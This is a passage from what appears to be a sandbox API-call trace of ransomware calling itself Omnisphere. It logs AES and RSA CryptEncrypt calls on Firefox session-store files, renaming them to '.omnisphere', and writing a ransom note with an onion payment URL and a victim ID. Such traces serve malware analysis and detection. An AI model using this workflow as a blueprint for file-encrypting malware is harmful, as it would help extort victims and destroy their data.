pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.224] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.225] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.226] CryptDestroyKey (hKey=0x1639568) returned 1 [0162.226] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0162.226] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x1f37, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0162.226] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0162.227] GetProcessHeap () returned 0x1600000 [0162.227] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f4) returned 0x174e118 [0162.227] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere")) returned 1 [0162.229] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere.id" [0162.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.229] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0162.230] CloseHandle (hObject=0x3b4) returned 1 [0162.230] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.230] CloseHandle (hObject=0x388) returned 1 [0162.230] SetEndOfFile (hFile=0x3c0) returned 1 [0162.231] FlushFileBuffers (hFile=0x3c0) returned 1 [0162.273] CloseHandle (hObject=0x3c0) returned 1 [0162.273] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\previous.js" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups") returned 1 [0162.273] GetProcessHeap () returned 0x1600000 [0162.273] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174e858 [0162.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.273] GetProcessHeap () returned 0x1600000 [0162.273] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733838 [0162.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733838, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.273] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.273] GetProcessHeap () returned 0x1600000 [0162.273] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726678 [0162.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726678, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.273] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.273] GetProcessHeap () returned 0x1600000 [0162.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x174d8d8 [0162.274] PathCombineW (in: pszDest=0x174d8d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\!DECRYPT_OMNISPHERE.txt" [0162.274] GetProcessHeap () returned 0x1600000 [0162.274] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1740aa0 [0162.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0162.275] WriteFile (in: hFile=0x3c0, lpBuffer=0x1740aa0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1740aa0*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0162.276] CloseHandle (hObject=0x3c0) returned 1 [0162.276] GetProcessHeap () returned 0x1600000 [0162.276] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e858 | out: hHeap=0x1600000) returned 1 [0162.276] GetProcessHeap () returned 0x1600000 [0162.276] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf2) returned 0x174e418 [0162.276] PathCombineW (in: pszDest=0x174e418, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key" [0162.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0162.277] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0162.278] CloseHandle (hObject=0x3c0) returned 1 [0162.278] GetProcessHeap () returned 0x1600000 [0162.278] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e418 | out: hHeap=0x1600000) returned 1 [0162.278] GetProcessHeap () returned 0x1600000 [0162.278] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17460b8 | out: hHeap=0x1600000) returned 1 [0162.278] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1407dfe9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36df, dwReserved0=0x0, dwReserved1=0xbb, cFileName="upgrade.js-20170824053622", cAlternateFileName="UPGRAD~1.JS-")) returned 1 [0162.278] GetProcessHeap () returned 0x1600000 [0162.278] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x174e418 [0162.278] PathCombineW (in: pszDest=0x174e418, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="upgrade.js-20170824053622" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622" [0162.278] StrStrW (lpFirst=".omnisphere", lpSrch=".js-20170824053622") returned 0x0 [0162.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0162.279] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=14047) returned 1 [0162.279] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x31bb, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0162.279] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0cdc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesRead=0x3e0cdc4*=0x524, lpOverlapped=0x0) returned 1 [0162.280] GetTickCount () returned 0x11684d7 [0162.280] GetTickCount () returned 0x11684d7 [0162.280] GetTickCount () returned 0x11684d7 [0162.280] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684d7 [0162.281] GetTickCount () returned 0x11684e7 [0162.282] GetTickCount () returned 0x11684e7 [0162.282] GetTickCount () returned 0x11684e7 [0162.282] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668708) returned 1 [0162.282] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16396e8) returned 1 [0162.282] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0162.283] CryptDestroyKey (hKey=0x16396e8) returned 1 [0162.283] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.283] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36df, lpName=0x0) returned 0x388 [0162.283] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36df) returned 0x1480000 [0162.285] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668240) returned 1 [0162.286] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16395e8) returned 1 [0162.286] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.286] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: 